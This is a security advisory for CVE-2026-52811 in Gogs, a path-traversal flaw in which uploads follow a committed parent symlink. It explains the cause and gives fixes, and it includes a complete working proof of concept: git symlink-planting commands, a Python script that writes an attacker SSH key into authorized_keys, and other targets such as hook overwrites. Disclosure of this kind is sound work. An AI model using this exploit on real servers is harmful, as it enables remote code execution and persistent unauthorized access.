Skip to content

Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym

Critical severity GitHub Reviewed Published Jun 19, 2026 in gogs/gogs

Package

gomod gogs.io/gogs (Go)

Affected versions

< 0.14.3

Patched versions

0.14.3

Description

Summary

(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component — UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write — ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.

Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks).
Details

The asymmetric check at internal/database/repo_editor.go:601-612:

targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) {                       // ← LEAF-ONLY
    return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }

vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:

if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
    return errors.New("cannot update file with symbolic link in path")
}

hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf — fine inside the loop, wrong as a single call.

Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) — Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") — converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) — no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.

Suggested fix

  1. Replace the leaf check at repo_editor.go:606 with hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name)) — the same primitive UpdateRepoFile already uses.
  2. Walk opts.TreePath before the os.MkdirAll(dirPath, ...) at line 583 so that pre-existing symlinked components don't let MkdirAll create directories outside the repo.
  3. Switch iox.CopyFile's open to O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer.
  4. In database.NewUpload, after pathx.Clean, refuse name containing / or \ outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.

PoC

Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osxosutil, iox.CopyFilecom.Copy, identical logic).

Reproduction prerequisites

  • gogs ≥ 0.14.0 on Linux/macOS (runtime.GOOS != "windows").
  • Two attacker accounts on the gogs instance with write to a repo attacker/playground (repo creators are admins of their own repos).
  • git ≥ 2.x with core.symlinks=true (Linux/macOS default).
  • Python 3 stdlib only — curl -F does NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.

Why curl alone is unreliable

Bug needs two backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\XX) yields a single \ in the parsed filename, which pathx.Clean then turns into /.

Shell form Wire bytes Go parses to upload.Name Triggers?
-F "...filename=a\b" a\b ab ab no
-F "...filename=a\\b" (double quotes) a\b ab ab no
-F '...filename=a\\b' (single quotes) a\\b a\b a/b yes

The Python below removes the ambiguity.

Step 1 — plant the directory symlink

git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..

Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.

Step 2 — upload + commit

Save as poc.py:

#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie

GOGS_HOST  = 'gogs.example'
USERNAME   = 'attacker'
PASSWORD   = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME  = 'playground'
BRANCH     = 'main'
PUBKEY     = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'

ctx = ssl.create_default_context()    # set to None for plain HTTP / port 3000
def conn():
    if ctx is None:
        return http.client.HTTPConnection(GOGS_HOST, 3000)
    return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)

cookies = {}
def update_cookies(resp):
    for hdr in resp.msg.get_all('Set-Cookie') or []:
        for name, morsel in SimpleCookie(hdr).items():
            cookies[name] = morsel.value
def cookie_header():
    return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
    return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)

# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())

# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
    body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'

# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)

# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
#    Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys'   # 23 chars, 2 of them backslashes
body = (
    f'--{boundary}\r\n'
    f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
    f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
    'Content-Type': f'multipart/form-data; boundary={boundary}',
    'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']

# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
    body=urllib.parse.urlencode({
        '_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
        'commit_choice': 'direct', 'files': uuid,
    }),
    headers={'Content-Type': 'application/x-www-form-urlencoded',
             'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)
python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302

Step 3 — confirm and use the foothold

sudo cat /home/git/.ssh/authorized_keys           # operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop

ssh -i ~/.ssh/id_ed25519 git@gogs.example         # attacker's view
# → shell as the gogs runtime UID

Server-side trace

multipart wire bytes:  filename="hijack\\authorized_keys"
mime.ParseMediaType    → "hijack\authorized_keys"           (quoted-pair: \\ → \)
filepath.Base          → "hijack\authorized_keys"           (Linux: only / is a separator)
pathx.Clean            → "hijack/authorized_keys"           (\\ → /, then path.Clean)

UploadRepoFiles:
  targetPath = <local-r>/<repoID>/hijack/authorized_keys
             = /home/git/.ssh/authorized_keys               (parent symlink resolved)
  osx.IsSymlink(targetPath) = false                         (leaf doesn't exist as a symlink)
  iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW    (follows the parent symlink)

Other reachable targets (same primitive)

Symlink target Effect on next event
/home/git/.ssh SSH key implant → shell as gogs UID
<RepoRoot>/<owner>/<repo>.git/hooks Hook overwrite → arbitrary code on next push
<RepoRoot>/<owner>/<repo>.git core.fsmonitor=<cmd> in config → exec on next git op
~git/custom/conf Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart
Path of the sqlite DB file DoS or admin-row replant

Independent confirmation against the source

git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
     <(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")

Impact

  • Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to ~git/.ssh/authorized_keys → ssh in.
  • Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by any user with GOGS_AUTH_USER_* env populated), app.ini SECRET_KEY (forges session cookies, decrypts stored 2FA secrets and mirror credentials).
  • Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
  • Linux/macOS only. Windows hosts are unaffected for two independent reasons (filepath.Base separator handling, git's core.symlinks default).

References

@unknwon unknwon published to gogs/gogs Jun 19, 2026
Published to the GitHub Advisory Database Jun 23, 2026
Reviewed Jun 23, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

Improper Link Resolution Before File Access ('Link Following')

The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource. Learn more on MITRE.

UNIX Symbolic Link (Symlink) Following

The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere. This could allow an attacker to cause the product to operate on unauthorized files. Learn more on MITRE.

CVE ID

CVE-2026-52811

GHSA ID

GHSA-89mr-xqfv-758m

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.